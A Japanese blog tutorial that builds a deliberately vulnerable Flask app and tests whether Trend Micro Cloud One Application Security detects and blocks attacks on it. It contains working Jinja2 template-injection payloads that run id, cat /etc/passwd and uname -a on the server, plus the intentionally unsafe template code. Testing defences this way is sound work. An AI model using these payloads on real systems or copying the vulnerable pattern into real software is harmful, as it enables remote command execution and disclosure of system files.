Cloud One Application Securityを体験版とWSL2+Dockerで試してみる

前から試したいと思っていたCloud One Application Securityを試してみました。

WSL2のUbuntuとブラウザがあれば30分もあれば一通り試せると思います。


# 脆弱な環境の準備
最近Flask使っていたのでFlaskで脆弱な環境作ってみます。

以下を参考にします。
https://github.com/vulhub/vulhub/blob/master/flask/ssti/README.md


## 作業ディレクトリ作成
作業ディレクトリを作成します。

```sh
mkdir trendappcheck && cd trendappcheck/
```

## アプリケーション作成
Flaskのシンプルなアプリケーションです。jinja2のテンプレートエンジンが使われていますが、後でここを攻撃します。

```python
cat << EOF > app.py
from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'Qiita')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run(host="0.0.0.0",port=8000)
EOF
```
## Dockerfile作成
Flaskを起動するDockerfileを準備します。

```Dockerfile
cat << EOF > Dockerfile
FROM python:3.8.11-slim-buster

RUN pip install flask

COPY ./app.py .

ENTRYPOINT ["python","app.py"]
EOF
```

```sh
docker build -t myapp .
docker run -p 8000:8000 myapp
```

## アプリにアクセス

以下のURLからアプリにアクセスしてみます。ブラウザに Hello Qiitaの文字が表示されました。

> http://localhost:8000/

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/116068/c7146c6f-945b-d92f-0eba-1b894dfc95ac.png)

## 脆弱性を突いてみる

今度は以下のURLを打ってみます。

>http://localhost:8000/?name=%7B%25%20for%20c%20in%20%5B%5D.__class__.__base__.__subclasses__()%20%25%7D%0A%7B%25%20if%20c.__name__%20%3D%3D%20%27catch_warnings%27%20%25%7D%0A%20%20%7B%25%20for%20b%20in%20c.__init__.__globals__.values()%20%25%7D%0A%20%20%7B%25%20if%20b.__class__%20%3D%3D%20%7B%7D.__class__%20%25%7D%0A%20%20%20%20%7B%25%20if%20%27eval%27%20in%20b.keys()%20%25%7D%0A%20%20%20%20%20%20%7B%7B%20b%5B%27eval%27%5D(%27__import__(%22os%22).popen(%22id%22).read()%27)%20%7D%7D%0A%20%20%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endif%20%25%7D%0A%20%20%7B%25%20endfor%20%25%7D%0A%7B%25%20endif%20%25%7D%0A%7B%25%20endfor%20%25%7D


ブラウザに `id` コマンドの結果が表示されました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/116068/8b04caaa-2562-3510-3a05-ba219a24a7c3.png)

実は `?name=` の後のクエリパラメータに渡されているのは以下の文字列をエスケープしたものです。`{{ b['eval']('__import__("os").popen("id").read()') }}` が実行されてしまうことによりサーバー内部の情報が漏洩していることになります。

```
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}
```

例えば、こちらなら `cat /etc/passwd` が確認できますし、

>http://localhost:8000/?name=%7B%25+for+c+in+%5B%5D.__class__.__base__.__subclasses__%28%29+%25%7D%0D%0A%7B%25+if+c.__name__+%3D%3D+%27catch_warnings%27+%25%7D%0D%0A++%7B%25+for+b+in+c.__init__.__globals__.values%28%29+%25%7D%0D%0A++%7B%25+if+b.__class__+%3D%3D+%7B%7D.__class__+%25%7D%0D%0A++++%7B%25+if+%27eval%27+in+b.keys%28%29+%25%7D%0D%0A++++++%7B%7B+b%5B%27eval%27%5D%28%27__import__%28%22os%22%29.popen%28%22cat+%2Fetc%2Fpasswd%22%29.read%28%29%27%29+%7D%7D%0D%0A++++%7B%25+endif+%25%7D%0D%0A++%7B%25+endif+%25%7D%0D%0A++%7B%25+endfor+%25%7D%0D%0A%7B%25+endif+%25%7D%0D%0A%7B%25+endfor+%25%7D

こちらなら `uname -a` が確認できます。

>http://localhost:8000/?name=%7B%25+for+c+in+%5B%5D.__class__.__base__.__subclasses__%28%29+%25%7D%0D%0A%7B%25+if+c.__name__+%3D%3D+%27catch_warnings%27+%25%7D%0D%0A++%7B%25+for+b+in+c.__init__.__globals__.values%28%29+%25%7D%0D%0A++%7B%25+if+b.__class__+%3D%3D+%7B%7D.__class__+%25%7D%0D%0A++++%7B%25+if+%27eval%27+in+b.keys%28%29+%25%7D%0D%0A++++++%7B%7B+b%5B%27eval%27%5D%28%27__import__%28%22os%22%29.popen%28%22uname+-a%22%29.read%28%29%27%29+%7D%7D%0D%0A++++%7B%25+endif+%25%7D%0D%0A++%7B%25+endif+%25%7D%0D%0A++%7B%25+endfor+%25%7D%0D%0A%7B%25+endif+%25%7D%0D%0A%7B%25+endfor+%25%7D


Cloud One Application Securityをアプリケーションに組み込んで、この脆弱性への攻撃を検知できるか試してみます。



# Trend Micro Cloud One 体験版アカウントの作成
検証環境が作り終わったので、Trend Micro Cloud Oneの体験版アカウントを作成していきます。

まず、Trend Micro Cloud Oneのサイトにアクセスします。
https://cloudone.trendmicro.com/

`Create Cloud One Account` ボタンをクリックします。
<img width="500" alt="image.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/116068/ca75f3cf-57df-804d-4d0e-686acd9fbda7.png">

名前等の情報を入れて `Sign Up` します。
<img width="500" alt="image.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/116068/82dc67c8-70af-0a33-5554-10512dca49b8.png">

確認メールが届くのでURLをクリックします。ログオンできました。ここまで5分くらいです。すぐにアカウントが作成できました。

<img width="500" alt="image.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/116068/71359568-59ce-063f-ff90-7a2223121594.png">

# Application Securityを動かしてみる
体験版アカウントが作成できたので、この記事の本命であるApplication Securityを見てみます。

## Application Securityにグループ作成
ログオン後のトップ画面から `Application Security` を選択します。


<img width="500" alt="image.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/116068/56aaf51f-6998-a1a3-a346-4d792c4c4a68.png">

この時点では何も登録されていません。

<img width="500" alt="image.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/116068/2323a4b5-d66f-5168-5c5c-f89c8551b9f0.png">

セキュリティチェックを行う対象のグループを作成したいので、画面左下の `Create New Group` をクリックします。

<img width="500" alt="image.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/116068/6efca7c9-52f6-dae7-d513-9d987bf40abd.png">

今回は `MyGroup` というグループを作成します。

<img width="300" alt="image.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/116068/3535d416-e9f9-19b4-c36d-24d69d933a77.png">

グループを作成するとCredentialの情報が取得できるようになります。この情報を使って自身のアプリケーションからApplication Securityに情報が連携されるようになります。 ということで `Key` と `Secret` は後で使うので保存しておきます。

<img width="500" alt="image.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/116068/fa832723-f3a9-634f-9fb0-20a4c2f572db.png">

ブラウザで行う設定はここまでです。

## Application Security Agentの組込み
次にアプリケーション側にAgentを組み込んでいきます。




## 認証情報の設定
まず、先程取得したCredential情報を以下のような `trend_app_protect.ini` というファイルに設定します。

```sh
cat <<EOF > trend_app_protect.ini
[trend_app_protect]
key = my-key
secret = my-secret
EOF
```

## アプリへの組込み
アプリケーションファイルを修正します。といっても先程との変更点は `import trend_app_protect.start` を先頭に追加しただけです。

```python
cat << EOF > app.py
import trend_app_protect.start
from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'Qiita')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
    app.run(host="0.0.0.0",port=8000)
EOF
```

## コンテナイメージの再作成
Dockerfileを少し修正します。変更点は2点です。

- PyPiのパッケージとして `trend-app-protect` をインストール
- 認証情報として `trend_app_protect.ini` を追加

```Dockerfile
cat << EOF > Dockerfile
FROM python:3.8.11-slim-buster

RUN pip install flask trend-app-protect

COPY ./app.py .
COPY ./trend_app_protect.ini .

ENTRYPOINT ["python","app.py"]
EOF
```



# 攻撃を検知できるか試してみる


## サービス起動
まず、コンテナを起動します。

```sh
docker build -t myapp .
docker run -p 8000:8000 myapp
```

## 普通のアクセス
最初は普通のアクセスを行います。

> http://localhost:8000/



Application Securityの画面からアクセス数が確認できます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/116068/86e5ccf7-f3c0-94aa-f46f-b768f90a3413.png)

## アプリケーションへの攻撃
攻撃を行ってみると `REMOTE COMMAND EXECUTION` として検知されました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/116068/9abb87e6-e246-dc87-b4ea-5fbadcd2762d.png)

攻撃アクセスについて個別にクリックすると、実行されたコマンドの情報や、脆弱性に関連する情報などへのリンクなどが表示されます。

<img width="400" alt="image.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/116068/500033ed-82fb-d133-f846-014b3d70bf54.png">
<img width="400" alt="image.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/116068/679a646e-f198-964c-9445-4affeace867e.png">


## 攻撃をブロックしてみる

デフォルトでは `Remote Command Execution` は `Report` モードになっていますので、これを `Mitigate` に切り替えてみます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/116068/83a9254d-553d-c328-fb25-b344c2414041.png)

今度はブラウザから攻撃アクセスしてみるとブロックされるようになりました。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/116068/d1e94bac-cb21-9157-0590-d62c0a8113a5.png)


# 詰まったところ
最初、`Python:3.9` のイメージを使っていたら `trend-app-protect` をインストールする際に以下のエラーが出て困りました。

```
ERROR: Could not find a version that satisfies the requirement trend_app_protect (from versions: none)
ERROR: No matching distribution found for trend_app_protect
```

ただ、PyPiの情報を良く見ると記事書いている時点では Python 3.8までしか対応していないことがわかり、サポートされたPython3.8にイメージを変更したら問題解消しました。

https://pypi.org/project/trend-app-protect/

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/116068/d1fd4c29-32b7-8b86-e090-7102ed01c0f1.png)

# 最後に
元々検討していた製品ではあるのですが、今回やろうと決めて、再現環境を考え始めてからここまで2時間くらいです。かなりスムーズかつ簡単に導入できますね。


# 参考URL
https://pypi.org/project/trend-app-protect/
https://cloudone.trendmicro.com/docs/application-security/environment-variables/